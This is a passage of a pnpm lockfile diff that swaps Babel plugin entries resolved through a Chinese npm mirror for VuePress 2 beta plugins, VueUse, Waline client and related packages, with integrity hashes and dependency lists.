0.12.0 + '@mdit-vue/plugin-sfc': 0.12.0 + '@mdit-vue/plugin-title': 0.12.0 + '@mdit-vue/plugin-toc': 0.12.0 + '@mdit-vue/shared': 0.12.0 + '@mdit-vue/types': 0.12.0 + '@types/markdown-it': 12.2.3 + '@types/markdown-it-emoji': 2.0.2 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + markdown-it: 13.0.1 + markdown-it-anchor: 8.6.7(@types/markdown-it@12.2.3)(markdown-it@13.0.1) + markdown-it-emoji: 2.0.2 + mdurl: 1.0.1 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-class-static-block/7.14.5_@babel+core@7.17.10: - resolution: {integrity: sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-class-static-block/7.14.5 - name: '@babel/plugin-syntax-class-static-block' - version: 7.14.5 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-active-header-links@2.0.0-beta.64: + resolution: {integrity: sha512-Sj/4uHz/W04AX8xcszZnpvS2hLoTk1xO2TmRzbTYxFNbt8QC5whDXQ4dUKsp+XB6KkNCMdaCNEZYu68oyVmHOw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + ts-debounce: 4.0.0 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/7.8.3 - name: '@babel/plugin-syntax-dynamic-import' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-back-to-top@2.0.0-beta.64: + resolution: {integrity: sha512-1ijK5H7dGcIiDmu9e8gqbzjQ5YEJ852j4da7zh7RWKPthswhfrtjuelMxQluYgOoiwNWV9cPfr5FqVB4Nfaalg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + ts-debounce: 4.0.0 + vue: 3.3.4 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-export-namespace-from/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-export-namespace-from/7.8.3 - name: '@babel/plugin-syntax-export-namespace-from' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-container@2.0.0-beta.64: + resolution: {integrity: sha512-32UjfCKH3JDEGlKGxqxFiLufywiihTE38sF0qlamZZT91TrEp2NCSIAB/djvow+S0jlojule06Y5V07Z0vaOpA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@types/markdown-it': 12.2.3 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/markdown': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + markdown-it: 13.0.1 + markdown-it-container: 3.0.0 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-json-strings/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-json-strings/7.8.3 - name: '@babel/plugin-syntax-json-strings' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-external-link-icon@2.0.0-beta.64: + resolution: {integrity: sha512-vLNZ0oWqa7JhiD2gTy4ty3KqTQ1f4iYy9SqEcFIkfYjcUJ3slsnh6gQ5B4i+plNqYfOlnErAs+KNt781Sv4oUQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/markdown': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-logical-assignment-operators/7.10.4_@babel+core@7.17.10: - resolution: {integrity: sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-logical-assignment-operators/7.10.4 - name: '@babel/plugin-syntax-logical-assignment-operators' - version: 7.10.4 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-git@2.0.0-beta.64: + resolution: {integrity: sha512-HkzgHX9n/dHx7jbfz+/pl50q46ChG7dckNMJIeFB3MScYiUKSJs6QRvwCOeYEESy4RPpb/UpnxQuCb53QrS+2g==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + execa: 7.1.1 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-nullish-coalescing-operator/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-nullish-coalescing-operator/7.8.3 - name: '@babel/plugin-syntax-nullish-coalescing-operator' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-medium-zoom@2.0.0-beta.64: + resolution: {integrity: sha512-iL62+OTk7FalnK9bSiQE9RvyLInB7A6leuTRR5wQOHvR6nlt8ZIZr/yHfPIAsQWkgK7yIU5uuozUA3FzDH0pdA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + medium-zoom: 1.0.8 + vue: 3.3.4 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-numeric-separator/7.10.4_@babel+core@7.17.10: - resolution: {integrity: sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-numeric-separator/7.10.4 - name: '@babel/plugin-syntax-numeric-separator' - version: 7.10.4 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-nprogress@2.0.0-beta.64: + resolution: {integrity: sha512-rBSN0zd+wVIsHcCf9thpIqS7TiQfiqA5lw7Ks9I+L2aDssIItVRAF82yFFJaROeNx+M04rg+KzV/+mN+7YLHnA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-object-rest-spread/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-object-rest-spread/7.8.3 - name: '@babel/plugin-syntax-object-rest-spread' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-palette@2.0.0-beta.64: + resolution: {integrity: sha512-Nk/U8buyC+o49AbqK2LHXSjGOgFZ5CoxNnI9aBXjIFXsvYvkAzxw1rGWj1y42AypK8pXxvUWnYINPjse2z+PuA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + chokidar: 3.5.3 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-optional-catch-binding/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-optional-catch-binding/7.8.3 - name: '@babel/plugin-syntax-optional-catch-binding' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-prismjs@2.0.0-beta.64: + resolution: {integrity: sha512-nQJJk63LwlRvMhtfSX7wgd6JPYdVs4peAwZsxdD9up8/vbhuENe+FnnsRH9fbgl9+119fvK5y0ckCpWVkebBdA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/core': 2.0.0-beta.64 + prismjs: 1.29.0 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-optional-chaining/7.8.3_@babel+core@7.17.10: - resolution: {integrity: sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-optional-chaining/7.8.3 - name: '@babel/plugin-syntax-optional-chaining' - version: 7.8.3 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/plugin-theme-data@2.0.0-beta.64: + resolution: {integrity: sha512-37AZuWIfK7eVCTfRuB96XQTyPklGWEev6Q4sut6olUs5lmjidkz2X64kAOw0N2at1yg+nK6eO7UN0sBcLj9oaw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vue/devtools-api': 6.5.0 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-private-property-in-object/7.14.5_@babel+core@7.17.10: - resolution: {integrity: sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-private-property-in-object/7.14.5 - name: '@babel/plugin-syntax-private-property-in-object' - version: 7.14.5 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/shared@2.0.0-beta.64: + resolution: {integrity: sha512-8Wql71fhUrPXXke96ekev7ul/NTzaG1Y1UYUeblivqNTutVpyLbbIt9AxCZAwkrDr8NTmjapyyNdJIvnwLTVQw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@mdit-vue/types': 0.12.0 + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-syntax-top-level-await/7.14.5_@babel+core@7.17.10: - resolution: {integrity: sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-top-level-await/7.14.5 - name: '@babel/plugin-syntax-top-level-await' - version: 7.14.5 - engines: {node: '>=6.9.0'} + /@vuepress/theme-default@2.0.0-beta.64: + resolution: {integrity: sha512-WrJgklIQlTqifFMtSH+RLaAbS6mHrwcvrsz414uHzMxk+TCgl2lFGxs3+owinWgb42GbwKXLpW6WcumvbJGZSQ==} peerDependencies: - '@babel/core': ^7.0.0-0 + sass-loader: ^13.2.1 + peerDependenciesMeta: + sass-loader: + optional: true dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/plugin-active-header-links': 2.0.0-beta.64 + '@vuepress/plugin-back-to-top': 2.0.0-beta.64 + '@vuepress/plugin-container': 2.0.0-beta.64 + '@vuepress/plugin-external-link-icon': 2.0.0-beta.64 + '@vuepress/plugin-git': 2.0.0-beta.64 + '@vuepress/plugin-medium-zoom': 2.0.0-beta.64 + '@vuepress/plugin-nprogress': 2.0.0-beta.64 + '@vuepress/plugin-palette': 2.0.0-beta.64 + '@vuepress/plugin-prismjs': 2.0.0-beta.64 + '@vuepress/plugin-theme-data': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + sass: 1.63.6 + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-transform-arrow-functions/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-9ffkFFMbvzTvv+7dTp/66xvZAWASuPD5Tl9LK3Z9vhOmANo6j94rik+5YMBt4CwHVMWLWpMsriIc2zsa3WW3xQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-arrow-functions/7.16.7 - name: '@babel/plugin-transform-arrow-functions' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /@vuepress/utils@2.0.0-beta.64: + resolution: {integrity: sha512-qZUIob8Zyh08DZUMqHTVGooaSOzrxa/jeD3a0tnQVxybVvy+5fCsN0xrfLW3ZlvzSiJtMEH4wmZq3FV1egU7JQ==} + dependencies: + '@types/debug': 4.1.8 + '@types/fs-extra': 11.0.1 + '@types/hash-sum': 1.0.0 + '@vuepress/shared': 2.0.0-beta.64 + debug: 4.3.4 + fs-extra: 11.1.1 + globby: 13.2.2 + hash-sum: 2.0.0 + ora: 6.3.1 + picocolors: 1.0.0 + upath: 2.0.1 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-transform-async-to-generator/7.16.8_@babel+core@7.17.10: - resolution: {integrity: sha512-MtmUmTJQHCnyJVrScNzNlofQJ3dLFuobYn3mwOTKHnSCMtbNsqvF71GQmJfFjdrXSsAA7iysFmYWw4bXZ20hOg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.16.8.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-async-to-generator/7.16.8 - name: '@babel/plugin-transform-async-to-generator' - version: 7.16.8 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vueuse/core@10.2.1(vue@3.3.4): + resolution: {integrity: sha512-c441bfMbkAwTNwVRHQ0zdYZNETK//P84rC01aP2Uy/aRFCiie9NE/k9KdIXbno0eDYP5NPUuWv0aA/I4Unr/7w==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-module-imports': registry.npmmirror.com/@babel/helper-module-imports/7.16.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-remap-async-to-generator': registry.npmmirror.com/@babel/helper-remap-async-to-generator/7.16.8 + '@types/web-bluetooth': 0.0.17 + '@vueuse/metadata': 10.2.1 + '@vueuse/shared': 10.2.1(vue@3.3.4) + vue-demi: 0.14.5(vue@3.3.4) transitivePeerDependencies: - - supports-color + - '@vue/composition-api' + - vue dev: true - registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-JUuzlzmF40Z9cXyytcbZEZKckgrQzChbQJw/5PuEHYeqzCsvebDx0K0jWnIIVcmmDOAVctCgnYs0pMcrYj2zJg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/7.16.7 - name: '@babel/plugin-transform-block-scoped-functions' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /@vueuse/metadata@10.2.1: + resolution: {integrity: sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==} dev: true - registry.npmmirror.com/@babel/plugin-transform-block-scoping/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-ObZev2nxVAYA4bhyusELdo9hb3H+A56bxH3FZMbEImZFiEDYVHXQSJ1hQKFlDnlt8G9bBrCZ5ZpURZUrV4G5qQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-block-scoping/7.16.7 - name: '@babel/plugin-transform-block-scoping' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vueuse/shared@10.2.1(vue@3.3.4): + resolution: {integrity: sha512-QWHq2bSuGptkcxx4f4M/fBYC3Y8d3M2UYyLsyzoPgEoVzJURQ0oJeWXu79OiLlBb8gTKkqe4mO85T/sf39mmiw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + vue-demi: 0.14.5(vue@3.3.4) + transitivePeerDependencies: + - '@vue/composition-api' + - vue dev: true - registry.npmmirror.com/@babel/plugin-transform-classes/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-WY7og38SFAGYRe64BrjKf8OrE6ulEHtr5jEYaZMwox9KebgqPi67Zqz8K53EKk1fFEJgm96r32rkKZ3qA2nCWQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-classes/7.16.7 - name: '@babel/plugin-transform-classes' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@waline/client@2.15.5: + resolution: {integrity: sha512-gLVeojWXRIRvXzVJwz9hfBokfde6KqZs+Adf7Z1SsEC3jAfyiqjOkdYkH93DhgMWyI0ck6nDlsBDLuePsFVifQ==} + engines: {node: '>=14'} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-annotate-as-pure': registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7 - '@babel/helper-environment-visitor': registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7 - '@babel/helper-function-name': registry.npmmirror.com/@babel/helper-function-name/7.17.9 - '@babel/helper-optimise-call-expression': registry.npmmirror.com/@babel/helper-optimise-call-expression/7.16.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-replace-supers': registry.npmmirror.com/@babel/helper-replace-supers/7.16.7 - '@babel/helper-split-export-declaration': registry.npmmirror.com/@babel/helper-split-export-declaration/7.16.7 - globals: registry.npmmirror.com/globals/11.12.0 + '@vueuse/core': 10.2.1(vue@3.3.4) + autosize: 6.0.1 + marked: 4.3.0 + vue: 3.3.4 transitivePeerDependencies: - - supports-color + - '@vue/composition-api' dev: true - registry.npmmirror.com/@babel/plugin-transform-computed-properties/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-gN72G9bcmenVILj//sv1zLNaPyYcOzUho2lIJBMh/iakJ9ygCo/hEF9cpGb61SCMEDxbbyBoVQxrt+bWKu5KGw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-computed-properties/7.16.7 - name: '@babel/plugin-transform-computed-properties' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /JSONStream@1.3.5: + resolution: {integrity: sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==} + hasBin: true dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + jsonparse: 1.3.1 + through: 2.3.8 dev: true - registry.npmmirror.com/@babel/plugin-transform-destructuring/7.17.7_@babel+core@7.17.10: - resolution: {integrity: sha512-XVh0r5yq9sLR4vZ6eVZe8FKfIcSgaTBxVBRSYokRj2qksf6QerYnTxz9/GTuKTH/n/HwLP7t6gtlybHetJ/6hQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.17.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-destructuring/7.17.7 - name: '@babel/plugin-transform-destructuring' - version: 7.17.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /abortcontroller-polyfill@1.7.5: + resolution: {integrity: sha512-JMJ5soJWP18htbbxJjG7bG6yuI6pRhgJ0scHHTfkUjf6wjP912xZWvM+A4sJK3gqd9E8fcPbDnOefbA9Th/FIQ==} dev: true - registry.npmmirror.com/@babel/plugin-transform-dotall-regex/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-Lyttaao2SjZF6Pf4vk1dVKv8YypMpomAbygW+mU5cYP3S5cWTfCJjG8xV6CFdzGFlfWK81IjL9viiTvpb6G7gQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-dotall-regex/7.16.7 - name: '@babel/plugin-transform-dotall-regex' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-regexp-features-plugin': registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /acorn-walk@8.2.0: + resolution: {integrity: sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==} + engines: {node: '>=0.4.0'} dev: true - registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-03DvpbRfvWIXyK0/6QiR1KMTWeT6OcQ7tbhjrXyFS02kjuX/mu5Bvnh5SDSWHxyawit2g5aWhKwI86EE7GUnTw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/7.16.7 - name: '@babel/plugin-transform-duplicate-keys' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /acorn@8.7.1: + resolution: {integrity: sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==} + engines: {node: '>=0.4.0'} + hasBin: true dev: true - registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-8UYLSlyLgRixQvlYH3J2ekXFHDFLQutdy7FfFAMm3CPZ6q9wHCwnUyiXpQCe3gVVnQlHc5nsuiEVziteRNTXEA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/7.16.7 - name: '@babel/plugin-transform-exponentiation-operator' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /ajv@8.11.0: + resolution: {integrity: sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - 